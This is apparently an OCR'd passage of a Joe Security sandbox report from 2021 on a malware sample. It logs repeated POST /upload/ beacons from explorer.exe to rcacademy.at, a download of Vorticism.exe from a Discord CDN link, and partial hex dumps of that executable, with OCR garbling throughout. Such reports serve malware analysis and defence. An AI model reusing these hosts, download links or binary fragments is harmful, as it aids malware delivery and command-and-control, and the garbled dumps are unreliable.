4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

211.169.6.249 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gfgnxdgwr.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 217

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 11457
18:40:59.880209923 CET

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1166

18:39:55.217662096 CET

Dec 18, 2021 1167
18:39:55.710452080 CET

Session ID Source IP
7 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1178

18:39:56.040455103 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49748

Direction

ouT

Source Port
49749

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:59 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://orbmga.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:55 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://gscubmd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 122

Host: rcacademy.at
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Timestamp

Dec 18, 2021
18:39:56.991478920 CET

Session ID

8

Timestamp

Dec 18, 2021
18:39:57.130054951 CET

Dec 18, 2021
18:39:57.624666929 CET

Session ID
9

Timestamp

Dec 18, 2021
18:39:57.909255981 CET

Dec 18, 2021
18:39:59.045172930 CET

kBytes
transferred

1179

Source IP

192.168.2.3
kBytes

transferred

1180

1180

Source IP
192.168.2.3

kBytes

transferred
1182

1183

HTTPS Proxied Packets

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49751

Direction

ouT

Source Port
49752

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:56 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jgmfve.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 309

Host: rcacademy.at

HTTP/1.1 200 OK

Date: Sat, 18 Dec 2021 17:39:57 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
X-Powered-By: PHP/5.6.40

Content-Length: 0

Connection: close

Content-Type: text/html; charset=utf-8

Destination IP  Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nfuivgbpt.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 351

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:39:58 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>
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Session ID Source IP

0 192.168.2.3
kBytes
Timestamp transferred

2021-12-18 17:40:10 UTC 0

2021-12-18 17:40:10 UTC 0

2021-12-18 17:40:10 UTC 1

2021-12-18 17:40:10 UTC 1

2021-12-18 17:40:10 UTC 2

2021-12-18 17:40:10 UTC 4

2021-12-18 17:40:10 UTC 5

2021-12-18 17:40:10 UTC 6

Copyright Joe Security LLC 2021

Source Port

49793

Direction

ouT

Destination IP Destination Port Process

162.159.133.233 443 C:\Windows\explorer.exe

Data

GET /attachments/921473641538027521/921473810035793960/Vorticism.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Sat, 18 Dec 2021 17:40:10 GMT

Content-Type: application/x-msdos-program

Content-Length: 545280

Connection: close

CF-Ray: 6bfa2cbfb9e24aa9-FRA

Accept-Ranges: bytes

Age: 81808

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Vorticism.exe

ETag: "f2f8a2b12ch2e41ffbe135b6ed9b5b7c"

Expires: Sun, 18 Dec 2022 17:40:10 GMT

Last-Modified: Fri, 17 Dec 2021 18:47:56 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1639766876515048

x-goog-hash: crc32c=Byrilg==

x-goog-hash: md5=8viisSyy5B/74TW27ZtbfA==

X-g00g-metageneration: 1

x-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 545280

X-GUploader-UploadID: ADPycduCeJ_d0gkscF_t4g-qWNWKIIIj8_PbmwrAg2dZF5dI8JRRXPRozgghZiblY4I8
TnFdLBKYBMeRCfQkZQNs_5M

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
7073 3a 5c¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 47 5159 45 78 74 67 7a 44 45 35 6¢ 48 34 39 32 4f 59 6e 76 35 4c 45 4d 78 70 49 35 33 74 67 47 72 43 42 25 32 42
6347 51 41 42 6b 74 59 4d 54 52 41 47 39 39 52 31 39 78 42 64 4d 75 7a 36 61 65 54 25 32 46 6e 59 73 54 6d 38 78 64
62 76 6e 45 45 51 35 66 63 70 33 59 63 4d 64 72 62 35 6a 25 32 42 64 39 4b 4e 4b 36 79 57 44 56 71 78 57 6e 4a 38 4f
43 6b 4c 31 45 57 4c 38 79 52 57 6f 6f 63 68 46 49 37 54 32 55 4d 39 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/\v3?s=GQYExtgzDE5IH4920Ynv
5LEMxpI53tgGrCB%2BcGQABKtYMTRAG99R19xBdMuz6aeT%2FnYsTm8xdbvnEEQS5fcp3YcMdrb5j%2Bd9KNK6yWDVq
XWnJ8OCKL1EWL8yRWoochFI7T2UM99%3D%3D"}],"group":"cf-nel","max_age":

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01

4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 11 ae a6 00 00 00 00 00 00 00 00 €0 00 Oe 01 Ob 01

30 00 00 4a 08 00 00 06 00 00 00 00 00 00 ee 68 08 00 00 20 00 00 00 80 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 cO 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00

00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?0Jh @ @

Data Raw: 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00
2200 00 00 13 30 Oe 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9
00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 la 28
a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a
28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00
1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00
00 03 30 03 00 42 00 00 00 00 00 00 00 28 a9 00 00 06 38 01 00 00 00 2a 28

Data Ascii: **(*(*0**((*(*(*CC"CCCCCCCCC((r0™0B(8%(

Data Raw: 16 1f 10 06 28 92 00 00 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f
09 1f 12 06 28 93 00 00 06 12 05 11 06 09 11 04 1f Ob 1f Oe 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14
0628 93 00 00 06 12 03 11 04 1105 11 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f Oa 1f 09 1f 16 06 28 93
0000 06 12 05 11 06 09 11 04 1f Of 1f Oe 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06
12031104 11051106 1f09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f Oe 1f 09 1f 1a 06 28 93 00 00 06 12 05
1106 09 11 04 19 1f Oe 1f 1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05
1106 1f 0d 1b 1f 1d 06 28 93 00 00 06 12 06 09 11 04 11

Data Ascii: ((((((CC((((((

Data Raw: 00 13 Ob 16 13 Oc 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d
38230000 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13
0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f
1062 6005 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40
50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 Oe 16 13 0f 38 2d 00 00 00 11 Of 16 3e Oc 00 00 00 11 Ob 1e 62 13 Ob
110c 1e 58 13 0c 08 11 0a 11 0f 58 11 Oe 11 Ob 5f 11 Oc 1f 1f 5f 64 d2 9¢ 11 0f 17 58 13 0f 11 Of 06 3f cb ff ff ff 38 49 00
00001104 110661131008 11 0a 11 10 20 ff 00 00

Data Ascii: Y@I>BX8#>biXY X?8.XXbXb"Xb™"%(XY@P>la8->bXX__dX?8la

Data Raw: 28 00 fe Oc 28 00 fe Oc 28 00 1f 0d 64 61 fe Oe 28 00 fe Oc 28 00 fe Oc 2b 00 58 fe Oe 28 00 fe Oc 29 00 1b 62 fe
0Oc 29 00 58 fe Oc 29 00 61 fe Oc 28 00 58 fe Oe 28 00 fe Oc 28 00 76 6¢ 6d 58 13 09 11 Oe 11 07 17 59 40 53 00 00 00 11
06 16 3e 4b 00 00 00 11 09 11 Oa 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e Oc 00 00 00 11 10 1e 62 13 10 11 11 1e
5813111108 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00
00110911 0a 61131511 08 11 0f 11 15 20 ff 00 00 00 5f d2 9c 11 08 11 0f 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11
08 11 0f 18 58 11 15 20 00 00 ff 00 5f 1f 10 64 d2 9¢ 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 Oe 17 58
13 Oe 11 Oe 11 07 3f 26 fd ff ff 11 08 13

Data Ascii: (((da((+X()b)X)a(X((vimXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&
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kBytes
Timestamp transferred

2021-12-18 17:40:10 UTC 8

2021-12-18 17:40:10 UTC 9

2021-12-18 17:40:10 UTC 11

2021-12-18 17:40:10 UTC 12

2021-12-18 17:40:10 UTC 13

2021-12-18 17:40:10 UTC 15

2021-12-18 17:40:10 UTC 16

2021-12-18 17:40:10 UTC 17

2021-12-18 17:40:10 UTC 19

2021-12-18 17:40:10 UTC 20

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 00 00 7e 5b 00 00 04 02 03 04 05 Oe 04 Oe 05 6f 2f 01 00 06 13 05 38 06 00 00 00 17 80 5d 00 00 04 11 05
2a 7e 5b 00 00 04 02 03 04 05 Oe 04 Oe 05 6f 2f 01 00 06 2a 00 00 00 Oa 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00
17 28 2a 00 00 Oa dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 Ob Ob 00 06 0a 00 00 01 13 30 07
00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 Oa 72 19 Oe 00 70 18 8d 24 00 00 01 25 16 d0 14 00 00 01 28 23
00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 Oa 14 18 8d Oa 00 00 01 25 16 02 8c 14 00 00 01 a2 25
17 03 a2 6f 6e 00 00 Oa 74 4e 00 00 01 2a 00 1b 30 08 00 Oe 66 00 00 12 00 00 11 20 99 01 00 00 fe Oe 22 00 38 00 00
00 00 fe Oc 22 00 45 a0 02 00 00 1f 05 00 00 aa 34 00 00 14 2e 00 00 68

Data Ascii: ~[0/8]*~[0/**0(*&*0SQ(#rp$%(#%S(#(M%%6ontN*0f "8"E4.h

Data Raw: 00 3c 16 00 00 cb 29 00 00 dO 1a 00 00 a9 27 00 00 f5 0d 00 00 26 3f 00 00 aa 17 00 00 3e Of 00 00 17 Oc 00
00d8 07 00 00 c1 52 00 00 73 4b 00 00 ec 36 00 00 56 57 00 00 71 4d 00 00 Od 25 00 00 4a 26 00 00 93 24 00 00 f0 4e
00 00 e0 49 00 00 6d 20 00 00 7a 49 00 00 ec 3c 00 00 7c 2b 00 00 e6 43 00 00 b8 49 00 00 74 59 00 00 55 16 00 00 8a
14 00 00 19 26 00 00 35 1d 00 00 Oc 53 00 00 d8 43 00 00 16 27 00 00 80 37 00 00 52 22 00 00 e0 19 00 00 Oc 46 00 00 e
1 2b 00 00 66 03 00 00 e2 1d 00 00 09 29 00 00 b0 33 00 00 03 15 00 00 02 1f 00 00 23 02 00 00 da 2a 00 00 73 2f 00 00
ab 3b 00 00 d7 1b 00 00 a2 56 00 00 96 2e 00 00 c0 58 00 00 ee 4f 00 00 1a 1b 00 00 de 34 00 00 c2 17 00 00 4d 53 00
00 12 4c 00 00 96 55 00 00 84 1b 00 00 b5 Ob 00 00 bf 08 00 00 2f 1e

Data Ascii: <)'&?>RsK6VWgM%J&S$NIm zI<|+CItYU&S5SC'7R"F+f)3#*s/;V.XO4MSLU/

Data Raw: bf 21 00 00 ca 4a 00 00 42 1b 00 00 ac 1b 00 00 36 06 00 00 78 Oc 00 00 d8 Ob 00 00 de 24 00 00 83 4c 00 00
€2 4b 00 00 4a 21 00 00 4a 56 00 00 e8 06 00 00 e9 21 00 00 de 57 00 00 05 4a 00 00 e3 3b 00 00 f6 23 00 00 9b 09 00
00 2b 56 00 00 99 00 00 00 45 15 00 00 6d 19 00 00 11 19 00 00 4e 1a 00 00 96 27 00 00 4f Oc 00 00 2f 16 00 00 49 3e 00
00 c4 43 00 00 30 32 00 00 2c 4f 00 00 4d 3d 00 00 c8 02 00 00 f1 58 00 00 28 29 00 00 2d 01 00 00 6f 37 00 00 7d 00 00
00 19 34 00 00 c1 04 00 00 88 05 00 00 79 26 00 00 83 3b 00 00 84 3a 00 00 c3 1e 00 00 95 3e 00 00 9¢ 04 00 00 38 1a
05 00 00 fe Oc 10 00 20 14 00 00 00 fe Oc 33 00 9c 20 02 02 00 00 38 5e f5 ff ff 11 48 11 4a 3f 59 48 00 00 20 81 00 00 00
38 4b f5 ff ff 1f 09 13 72 20 53 01 00 00 28 1e 01 00 06 39

Data Ascii: [IJB6x$LKJIIIVIWI;#+VEmMN'O/I>C02,0M=X()-07}4y&;:>8 3 8"HJI?YH 8Kr S(9

Data Raw: fO ff ff 11 74 11 72 18 58 11 51 18 91 9c¢ 20 2d 01 00 00 28 1f 01 00 06 39 c5 f0 ff ff 26 20 7e 00 00 00 38 ba fO

ff ff 38 9d 1c 00 00 20 ca 00 00 00 38 ab f0 ff ff 20 39 00 00 00 20 7b 00 00 00 58 fe Oe 33 00 20 0d 00 00 00 38 92 fO ff ff

11741172 11 6f 16 91 9¢ 20 4d 01 00 00 fe Oe 22 00 38 77 fO ff ff fe Oc 49 00 20 05 00 00 00 20 5a 00 00 00 20 69 00 00
00 58 9c 20 37 00 00 00 38 5c fO ff ff fe Oc 10 00 20 1f 00 00 00 fe Oc 33 00 9¢ 20 7c 00 00 00 38 44 f0 ff ff 20 80 00 00 00
20 2a 00 00 00 59 fe Oe 33 00 20 c¢3 00 00 00 38 2b f0 ff ff 11 5e 11 08 1a 5a 1e 12 15 28 b0 00 00 06 26 20 55 01 00 00 3
8 12 fO ff ff 38 c2 41 00 00 20 96 00 00 00 28 1e 01 00 06 39 fe ef ff ff 26 20 be 00 00 00 38 f3 ef ff ff 11 12 16 1f 67 9¢ 20

2502 00 00 38 e3 ef ff ff

Data Ascii: trXQ -(9& ~88 8 9 {X3 8tro M"8w!| ZiX 78\ 3 |8D *Y3 8+"Z(& U88A (9& 89 %8

Data Raw: 11 77 73 6f 00 00 Oa d0 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 74 2e 00 00 02 80 5b 00 00 04 20 00 00 00
00 28 1f 01 00 06 3a Of 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc 0d 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00
dd 6d 29 00 00 26 20 00 00 00 00 28 1e 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Oc Of 00 45 02 00 00
00 05 00 00 00 d9 00 00 00 38 00 00 00 00 00 11 77 73 6f 00 00 Oa dO 2e 00 00 02 28 03 01 00 06 28 08 01 00 06 13 07
